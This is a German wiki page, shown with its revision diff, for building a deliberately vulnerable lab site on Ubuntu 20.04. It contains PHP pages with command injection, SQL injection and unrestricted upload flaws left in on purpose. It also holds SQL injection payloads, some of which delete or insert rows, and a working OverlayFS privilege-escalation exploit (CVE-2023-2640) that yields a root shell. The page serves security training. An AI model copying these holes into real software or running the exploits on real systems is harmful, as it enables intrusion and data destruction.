Schwachstellenseite unter Ubuntu 20.04 einrichten: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(Die Seite wurde neu angelegt: „= Apache vorbereiten = * Apache und PHP installieren: apt update apt install -y apache2 php libapache2-mod-php * PHP aktivieren und Apache starten: system…“) |
|||
| (15 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 109: | Zeile 109: | ||
} | } | ||
</pre> | </pre> | ||
| + | |||
===sql-classic.php=== | ===sql-classic.php=== | ||
<pre> | <pre> | ||
| Zeile 258: | Zeile 259: | ||
phpinfo(); | phpinfo(); | ||
?> | ?> | ||
| + | = Datenbank-Tabelle „rechner“ = | ||
| + | |||
| + | ==Tabelle anlegen== | ||
| + | <pre> | ||
| + | CREATE TABLE rechner ( | ||
| + | id INT PRIMARY KEY AUTO_INCREMENT, | ||
| + | name VARCHAR(50), | ||
| + | ip VARCHAR(20), | ||
| + | os VARCHAR(20) | ||
| + | ); | ||
| + | </pre> | ||
| + | |||
| + | ==Beispiel-Datensätze einfügen== | ||
| + | <pre> | ||
| + | INSERT INTO rechner (name, ip, os) VALUES | ||
| + | ('opfer', '10.0.10.104', 'linux'), | ||
| + | ('win10', '10.0.10.102', 'windows'), | ||
| + | ('userver', '10.0.10.103', 'linux'), | ||
| + | ('win2k8-ms', '10.0.10.107', 'windows'), | ||
| + | ('metasploit', '10.0.10.105', 'linux'); | ||
| + | </pre> | ||
| + | CREATE TABLE users ( | ||
| + | id INT PRIMARY KEY AUTO_INCREMENT, | ||
| + | username VARCHAR(50), | ||
| + | password VARCHAR(100) | ||
| + | ); | ||
| + | |||
| + | = Authentifizierungs-Bypass zeigen = | ||
| + | |||
| + | == Unsicheren Benutzer anlegen == | ||
| + | <pre> | ||
| + | USE tuxmen; | ||
| + | INSERT INTO users (username, password) VALUES | ||
| + | ('admin', 'suxer'); | ||
| + | </pre> | ||
| + | |||
| + | == Bypass testen == | ||
| + | Eingabe im Formular: | ||
| + | |||
| + | <pre> | ||
| + | Benutzername: admin' OR '1'='1' -- | ||
| + | Passwort: (beliebig) | ||
| + | </pre> | ||
| + | |||
| + | → Login funktioniert **ohne Passwortprüfung** | ||
| + | |||
| + | == Wichtig == | ||
| + | Diese Login-Variante ist **bewusst unsicher** und dient nur zur Demonstration von SQL-Injection! | ||
| + | |||
| + | = Authentifizierungs-Bypass mit unsicherem Login = | ||
| + | |||
| + | ==login-bypass.php== | ||
| + | <pre> | ||
| + | <?php | ||
| + | session_start(); | ||
| + | error_reporting(E_ALL); | ||
| + | ini_set('display_errors', 1); | ||
| + | |||
| + | $link = mysqli_connect("127.0.0.1", "webuser", "secret", "tuxmen"); | ||
| + | mysqli_set_charset($link, "utf8"); | ||
| + | |||
| + | $message = ''; | ||
| + | |||
| + | if (!empty($_POST['username']) && !empty($_POST['password'])) { | ||
| + | $user = $_POST['username']; | ||
| + | $pass = $_POST['password']; | ||
| + | |||
| + | // UNSICHER – direkt eingefügt → SQL Injection möglich | ||
| + | $query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'"; | ||
| + | $result = mysqli_query($link, $query); | ||
| + | |||
| + | if (mysqli_num_rows($result) === 1) { | ||
| + | $_SESSION['user'] = $user; | ||
| + | header("Location: dashboard.php"); | ||
| + | exit; | ||
| + | } else { | ||
| + | $message = "Login fehlgeschlagen."; | ||
| + | } | ||
| + | } | ||
| + | ?> | ||
| + | <!DOCTYPE html> | ||
| + | <html> | ||
| + | <head> | ||
| + | <meta charset="UTF-8"> | ||
| + | <title>Login (unsicher)</title> | ||
| + | </head> | ||
| + | <body> | ||
| + | <h2>Login (unsicher – SQL Injection möglich)</h2> | ||
| + | <form method="post"> | ||
| + | <label>Benutzername:</label><br> | ||
| + | <input type="text" name="username"><br> | ||
| + | <label>Passwort:</label><br> | ||
| + | <input type="password" name="password"><br><br> | ||
| + | <input type="submit" value="Login"> | ||
| + | </form> | ||
| + | <p style="color:red;"><?php echo $message; ?></p> | ||
| + | </body> | ||
| + | </html> | ||
| + | </pre> | ||
| + | |||
| + | ==Bypass-Demo== | ||
| + | Gib folgendes im Login-Formular ein: | ||
| + | |||
| + | <pre> | ||
| + | Benutzername: admin' OR '1'='1 | ||
| + | Passwort: egal | ||
| + | </pre> | ||
| + | |||
| + | → Der Benutzer wird eingeloggt **ohne Passwortprüfung**. | ||
| + | |||
| + | ==Hintergrund== | ||
| + | Die SQL-Abfrage wird zu: | ||
| + | <pre> | ||
| + | SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'egal' | ||
| + | </pre> | ||
| + | |||
| + | → Da `'1'='1'` immer `TRUE` ergibt, wird **die erste passende Zeile zurückgegeben** → Login erfolgreich. | ||
| + | |||
| + | ===dashboard.php=== | ||
| + | <pre> | ||
| + | <?php | ||
| + | session_start(); | ||
| + | if (!isset($_SESSION['user'])) { | ||
| + | header("Location: login.php"); | ||
| + | exit; | ||
| + | } | ||
| + | |||
| + | $link = mysqli_connect('127.0.0.1', 'webuser', 'secret', 'tuxmen'); | ||
| + | mysqli_set_charset($link, "utf8"); | ||
| + | |||
| + | if (!$link) { | ||
| + | die("Verbindung fehlgeschlagen: " . mysqli_connect_error()); | ||
| + | } | ||
| + | |||
| + | $result = mysqli_query($link, "SELECT * FROM rechner"); | ||
| + | ?> | ||
| + | <!DOCTYPE html> | ||
| + | <html> | ||
| + | <head> | ||
| + | <meta charset="UTF-8"> | ||
| + | <title>Rechnerübersicht</title> | ||
| + | </head> | ||
| + | <body> | ||
| + | <h2>Willkommen, <?php echo htmlspecialchars($_SESSION['user']); ?>!</h2> | ||
| + | <h3>Rechner in der Datenbank:</h3> | ||
| + | <table border="1" cellpadding="5"> | ||
| + | <tr><th>Name</th><th>IP</th><th>OS</th></tr> | ||
| + | <?php | ||
| + | while ($row = mysqli_fetch_assoc($result)) { | ||
| + | echo "<tr>"; | ||
| + | echo "<td>" . htmlspecialchars($row['name']) . "</td>"; | ||
| + | echo "<td>" . htmlspecialchars($row['ip']) . "</td>"; | ||
| + | echo "<td>" . htmlspecialchars($row['os']) . "</td>"; | ||
| + | echo "</tr>"; | ||
| + | } | ||
| + | ?> | ||
| + | </table> | ||
| + | <p><a href="logout.php">Logout</a></p> | ||
| + | </body> | ||
| + | </html> | ||
| + | </pre> | ||
| + | |||
| + | |||
| + | = Lokale Privilege Escalation mit OverlayFS (CVE-2023-2640) = | ||
| + | |||
| + | == Voraussetzungen == | ||
| + | * Ubuntu 20.04 mit Kernel 5.4.x | ||
| + | * Kein Patch für OverlayFS-Schwachstelle vorhanden | ||
| + | * Kein Root-Zugriff erforderlich | ||
| + | * Nur `gcc` und `setcap` notwendig | ||
| + | |||
| + | == 1. Exploit-Datei erstellen == | ||
| + | <pre> | ||
| + | #include <stdio.h> | ||
| + | #include <stdlib.h> | ||
| + | #include <unistd.h> | ||
| + | |||
| + | int main() { | ||
| + | if (setuid(0) != 0) { | ||
| + | fprintf(stderr, "Failed to set UID to 0.\n"); | ||
| + | return 1; | ||
| + | } | ||
| + | |||
| + | printf("Entering privileged shell...\n"); | ||
| + | if (system("/bin/bash -p") == -1) { | ||
| + | fprintf(stderr, "Failed to execute /bin/bash -p.\n"); | ||
| + | return 1; | ||
| + | } | ||
| + | |||
| + | return 0; | ||
| + | } | ||
| + | </pre> | ||
| + | |||
| + | == 2. Exploit kompilieren == | ||
| + | <pre> | ||
| + | gcc exploit.c -o exploit | ||
| + | </pre> | ||
| + | |||
| + | == 3. Exploit ausführen == | ||
| + | <pre> | ||
| + | unshare -rm sh -c " | ||
| + | mkdir l u w m && | ||
| + | cp exploit l/ && | ||
| + | setcap cap_setuid+eip l/exploit && | ||
| + | mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && | ||
| + | touch m/exploit && | ||
| + | u/exploit" | ||
| + | </pre> | ||
| + | |||
| + | == 4. Erklärung der Zeilen == | ||
| + | |||
| + | * <code>unshare -rm sh -c "..."</code> | ||
| + | → Startet eine neue Shell mit eigenem Mount-Namespace – Voraussetzung, um Overlay-Mounts ohne root zu machen | ||
| + | |||
| + | * <code>mkdir l u w m</code> | ||
| + | → Erstellt Verzeichnisse für: | ||
| + | **l** = lowerdir (originale Daten), | ||
| + | **u** = upperdir (Schreibschicht), | ||
| + | **w** = workdir (intern), | ||
| + | **m** = Mountpunkt | ||
| + | |||
| + | * <code>cp exploit l/</code> | ||
| + | → Kopiert das zu eskalierende Binary in das "untere" Dateisystem | ||
| + | |||
| + | * <code>setcap cap_setuid+eip l/exploit</code> | ||
| + | → Gibt dem Binary die Fähigkeit, sich selbst auf UID 0 (root) zu setzen | ||
| + | |||
| + | * <code>mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m</code> | ||
| + | → Mountet ein OverlayFS-Dateisystem, in dem die `setcap`-Rechte erhalten bleiben – der Trick an der Schwachstelle | ||
| + | |||
| + | * <code>touch m/exploit</code> | ||
| + | → Trigger, damit OverlayFS das Dateisystem final synchronisiert | ||
| + | |||
| + | * <code>u/exploit</code> | ||
| + | → Führt die „gehärtete“ Kopie mit Root-Rechten aus → Ergebnis: Rootshell | ||
| + | |||
| + | == 5. Ergebnis == | ||
| + | <pre> | ||
| + | # whoami | ||
| + | root | ||
| + | </pre> | ||
| + | |||
| + | == Hinweis == | ||
| + | Diese Schwachstelle ist in Ubuntu 20.04 (ungepatcht) ausnutzbar. Neuere Kernel-Versionen verhindern dies durch Sicherheitsprüfungen im OverlayFS-Subsystem. Einsatz ausschließlich zu Schulungszwecken! | ||
Aktuelle Version vom 10. Juni 2025, 07:43 Uhr
Apache vorbereiten
- Apache und PHP installieren:
apt update apt install -y apache2 php libapache2-mod-php
- PHP aktivieren und Apache starten:
systemctl enable apache2 systemctl start apache2
MariaDB vorbereiten
- MariaDB und PHP-MySQL-Modul installieren:
apt install -y mariadb-server php-mysql
- MariaDB starten und beim Boot aktivieren:
systemctl enable mariadb systemctl start mariadb
Datenbank „tuxmen“ vorbereiten
- Als root anmelden:
mysql -u root
- Datenbank anlegen:
CREATE DATABASE tuxmen; USE tuxmen;
Tabelle „mitarbeiter“ erstellen
- Tabelle erzeugen:
CREATE TABLE mitarbeiter ( id INT PRIMARY KEY AUTO_INCREMENT, username VARCHAR(50), password VARCHAR(50), fullname VARCHAR(100), email VARCHAR(100), notes TEXT );
User erstellen
mysql -u root -p <<EOF CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'secret'; GRANT ALL PRIVILEGES ON tuxmen.* TO 'webuser'@'localhost'; FLUSH PRIVILEGES; EOF
Beispieldaten einfügen
- Testdaten hinzufügen:
INSERT INTO mitarbeiter (username, password, fullname, email, notes) VALUES
('admin', 'admin123', 'Karl Rootmann', 'admin@tuxmen.local', 'Zugang zu allen Systemen'),
('alice', 'alicepw', 'Alice Liddell', 'alice@tuxmen.local', 'Team Marketing, Urlaub bis 22. Mai'),
('bob', 'bobpw', 'Bob Baumeister', 'bob@tuxmen.local', 'Serverraum: Türcode 1234'),
('charlie', 'charliepw','Charlie Foxtrot', 'charlie@tuxmen.local','Entwicklungstools: VSCode, Docker'),
('dora', 'dorapw', 'Dora Explorer', 'dora@tuxmen.local', 'VPN-Probleme gemeldet'),
('eve', 'evepw', 'Evelyn Mallory', 'eve@tuxmen.local', 'Audit-Team, Zugang GVM'),
('frank', 'frankpw', 'Frank Underroot', 'frank@tuxmen.local', 'Sudo-Zugang beantragt'),
('grace', 'gracepw', 'Grace Hopper', 'grace@tuxmen.local', 'Legacy-Projekt „COBOL Revival“'),
('hans', '1234', 'Hans Hacker', 'hans@tuxmen.local', 'Kali-Linux Testumgebung'),
('irene', '5678', 'Irene Adler', 'irene@tuxmen.local', 'Zuständig für LDAP und Mailserver');
- Sitzung beenden:
EXIT
Umsetzung
Zentrale
- index.html erstellen:
nano index.html
Umsetzung
Zentrale
- index.html erstellen:
vi index.html
- Inhalt einfügen:
<!DOCTYPE html>
<html>
<meta charset="UTF-8">
<head><title>VulnSite</title></head>
<body>
<h1>VulnSite – Systemmodule</h1>
<ul>
<li><a href="host.html">Hostauflösung</a></li>
<li><a href="sql-classic.php">Benutzerdaten anzeigen</a></li>
<li><a href="sql-blind.php">Meine Daten bearbeiten</a></li>
<li><a href="upload.php">Datei senden</a></li>
<li><a href="info.php">Info</a></li>
<!-- <li><a href="sqli_blind.php">Verbindung prüfen</a></li>
<li><a href="xss.html">Mitteilung eingeben</a></li>
-->
</ul>
</body>
</html>
PHP Dateien
cmd.php
<?php
if (isset($_GET['cmd'])) {
$input = $_GET['cmd'];
echo "<pre>";
system("host " . $input);
echo "</pre>";
}
sql-classic.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
$link = mysqli_connect('127.0.0.1', 'webuser', 'secret', 'tuxmen');
mysqli_set_charset($link, "utf8");
if (!$link) {
die("Verbindung fehlgeschlagen: " . mysqli_connect_error());
}
$search = $_POST['username'] ?? '';
$result = null;
if (!empty($search)) {
$query = "SELECT * FROM mitarbeiter WHERE username = '$search'";
if (mysqli_multi_query($link, $query)) {
do {
if ($res = mysqli_store_result($link)) {
while ($row = mysqli_fetch_assoc($res)) {
echo "Benutzer: {$row['username']}<br>";
echo "Passwort: {$row['password']}<br>";
echo "E-Mail: {$row['email']}<br>";
echo "Hinweis: {$row['notes']}<br><hr>";
}
mysqli_free_result($res);
}
} while (mysqli_next_result($link));
} else {
echo "Fehler oder keine Ausgabe.";
}
}
mysqli_close($link);
?>
<form method="post">
<input type="text" name="username" placeholder="Benutzername oder Injection">
<input type="submit" value="Suchen">
<!-- eingabe "' or '1' = '1' -- " Leerzeichen nach -- ist wichtig -->
<!-- eingabe "' OR 1=1; DELETE FROM mitarbeiter WHERE username='ruedi'; -- " Leerzeichen nach -- ist wichtig -->
<!-- eingabe "' ; INSERT INTO mitarbeiter (username, password, fullname, email, notes)
VALUES ('evil', 'pwned', 'Evil Hacker', 'evil@hax.local', 'per injection hinzugefügt'); -- " -->
</form>
sql-blind.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
// Datenbankverbindung (unsicher für Demo!)
$link = mysqli_connect('127.0.0.1', 'webuser', 'secret', 'tuxmen');
if (!$link) {
die("Verbindungsfehler: " . mysqli_connect_error());
}
// Benutzereingabe (ohne Escaping/Sanitizing!)
$username = $_POST['username'] ?? '';
$message = '';
if (!empty($username)) {
// Kritische SQL-Abfrage (vulnerabel für Injection)
$query = "SELECT * FROM mitarbeiter WHERE username = '$username'";
// echo $query;
$result = mysqli_query($link, $query);
if (mysqli_num_rows($result) > 0) {
$message = "<div class='valid'>VALID: Benutzer '$username' existiert!</div>";
} else {
$message = "<div class='invalid'>INVALID: Benutzer '$username' existiert NICHT.</div>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Blind-SQL-Injection Demo</title>
<style>
body { font-family: Arial, sans-serif; padding: 20px; }
.valid { color: green; font-weight: bold; }
.invalid { color: red; font-weight: bold; }
input, button { padding: 8px; margin: 5px 0; }
</style>
</head>
<body>
<h1>Benutzer-Check (Demo für Blind-Injection)</h1>
<form method="POST">
<input type="text" name="username" placeholder="Benutzername" required>
<button type="submit">Prüfen</button>
</form>
<?php echo $message; ?>
<h3>Demo-Angriffe (für Blind-Injection):</h3>
<ul>
<li>Normale Abfrage: <code>maria</code> → VALID</li>
<li>Blind-Injection: <code>hans' AND password LIKE '1%' -- </code> → VALID, wenn Passwort mit "1" beginnt.</li>
<li>Erfolgreicher Guess: <code>hans' AND password = '1234' -- </code> → VALID (Passwort erraten!)</li>
</ul>
</body>
</html>
<!--
Hacks im Eingabefeld
maria' AND length(password) < 5 -- '
maria' AND length(password) > 5 -- '
maria' AND password = '1234' -- '
-->
<?php mysqli_close($link); ?>
upload.php
- Vorabeiten
mkdir /var/www/html/uploads chown www-data:www-data /var/www/html/uploads
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
if (!empty($_FILES['upload'])) {
$filename = basename($_FILES['upload']['name']);
$target = "uploads/" . $filename;
if (move_uploaded_file($_FILES['upload']['tmp_name'], $target)) {
echo "Datei erfolgreich hochgeladen: <a href='$target'>$filename</a>";
} else {
echo "Fehler beim Hochladen.";
}
}
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="upload">
<input type="submit" value="Hochladen">
</form>
info.php
<?php phpinfo(); ?>
Datenbank-Tabelle „rechner“
Tabelle anlegen
CREATE TABLE rechner ( id INT PRIMARY KEY AUTO_INCREMENT, name VARCHAR(50), ip VARCHAR(20), os VARCHAR(20) );
Beispiel-Datensätze einfügen
INSERT INTO rechner (name, ip, os) VALUES
('opfer', '10.0.10.104', 'linux'),
('win10', '10.0.10.102', 'windows'),
('userver', '10.0.10.103', 'linux'),
('win2k8-ms', '10.0.10.107', 'windows'),
('metasploit', '10.0.10.105', 'linux');
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT, username VARCHAR(50), password VARCHAR(100)
);
Authentifizierungs-Bypass zeigen
Unsicheren Benutzer anlegen
USE tuxmen;
INSERT INTO users (username, password) VALUES
('admin', 'suxer');
Bypass testen
Eingabe im Formular:
Benutzername: admin' OR '1'='1' -- Passwort: (beliebig)
→ Login funktioniert **ohne Passwortprüfung**
Wichtig
Diese Login-Variante ist **bewusst unsicher** und dient nur zur Demonstration von SQL-Injection!
Authentifizierungs-Bypass mit unsicherem Login
login-bypass.php
<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);
$link = mysqli_connect("127.0.0.1", "webuser", "secret", "tuxmen");
mysqli_set_charset($link, "utf8");
$message = '';
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$user = $_POST['username'];
$pass = $_POST['password'];
// UNSICHER – direkt eingefügt → SQL Injection möglich
$query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
$result = mysqli_query($link, $query);
if (mysqli_num_rows($result) === 1) {
$_SESSION['user'] = $user;
header("Location: dashboard.php");
exit;
} else {
$message = "Login fehlgeschlagen.";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Login (unsicher)</title>
</head>
<body>
<h2>Login (unsicher – SQL Injection möglich)</h2>
<form method="post">
<label>Benutzername:</label><br>
<input type="text" name="username"><br>
<label>Passwort:</label><br>
<input type="password" name="password"><br><br>
<input type="submit" value="Login">
</form>
<p style="color:red;"><?php echo $message; ?></p>
</body>
</html>
Bypass-Demo
Gib folgendes im Login-Formular ein:
Benutzername: admin' OR '1'='1 Passwort: egal
→ Der Benutzer wird eingeloggt **ohne Passwortprüfung**.
Hintergrund
Die SQL-Abfrage wird zu:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'egal'
→ Da `'1'='1'` immer `TRUE` ergibt, wird **die erste passende Zeile zurückgegeben** → Login erfolgreich.
dashboard.php
<?php
session_start();
if (!isset($_SESSION['user'])) {
header("Location: login.php");
exit;
}
$link = mysqli_connect('127.0.0.1', 'webuser', 'secret', 'tuxmen');
mysqli_set_charset($link, "utf8");
if (!$link) {
die("Verbindung fehlgeschlagen: " . mysqli_connect_error());
}
$result = mysqli_query($link, "SELECT * FROM rechner");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Rechnerübersicht</title>
</head>
<body>
<h2>Willkommen, <?php echo htmlspecialchars($_SESSION['user']); ?>!</h2>
<h3>Rechner in der Datenbank:</h3>
<table border="1" cellpadding="5">
<tr><th>Name</th><th>IP</th><th>OS</th></tr>
<?php
while ($row = mysqli_fetch_assoc($result)) {
echo "<tr>";
echo "<td>" . htmlspecialchars($row['name']) . "</td>";
echo "<td>" . htmlspecialchars($row['ip']) . "</td>";
echo "<td>" . htmlspecialchars($row['os']) . "</td>";
echo "</tr>";
}
?>
</table>
<p><a href="logout.php">Logout</a></p>
</body>
</html>
Lokale Privilege Escalation mit OverlayFS (CVE-2023-2640)
Voraussetzungen
- Ubuntu 20.04 mit Kernel 5.4.x
- Kein Patch für OverlayFS-Schwachstelle vorhanden
- Kein Root-Zugriff erforderlich
- Nur `gcc` und `setcap` notwendig
1. Exploit-Datei erstellen
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
if (setuid(0) != 0) {
fprintf(stderr, "Failed to set UID to 0.\n");
return 1;
}
printf("Entering privileged shell...\n");
if (system("/bin/bash -p") == -1) {
fprintf(stderr, "Failed to execute /bin/bash -p.\n");
return 1;
}
return 0;
}
2. Exploit kompilieren
gcc exploit.c -o exploit
3. Exploit ausführen
unshare -rm sh -c " mkdir l u w m && cp exploit l/ && setcap cap_setuid+eip l/exploit && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/exploit && u/exploit"
4. Erklärung der Zeilen
unshare -rm sh -c "..."
→ Startet eine neue Shell mit eigenem Mount-Namespace – Voraussetzung, um Overlay-Mounts ohne root zu machen
mkdir l u w m
→ Erstellt Verzeichnisse für: **l** = lowerdir (originale Daten), **u** = upperdir (Schreibschicht), **w** = workdir (intern), **m** = Mountpunkt
cp exploit l/
→ Kopiert das zu eskalierende Binary in das "untere" Dateisystem
setcap cap_setuid+eip l/exploit
→ Gibt dem Binary die Fähigkeit, sich selbst auf UID 0 (root) zu setzen
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m
→ Mountet ein OverlayFS-Dateisystem, in dem die `setcap`-Rechte erhalten bleiben – der Trick an der Schwachstelle
touch m/exploit
→ Trigger, damit OverlayFS das Dateisystem final synchronisiert
u/exploit
→ Führt die „gehärtete“ Kopie mit Root-Rechten aus → Ergebnis: Rootshell
5. Ergebnis
# whoami root
Hinweis
Diese Schwachstelle ist in Ubuntu 20.04 (ungepatcht) ausnutzbar. Neuere Kernel-Versionen verhindern dies durch Sicherheitsprüfungen im OverlayFS-Subsystem. Einsatz ausschließlich zu Schulungszwecken!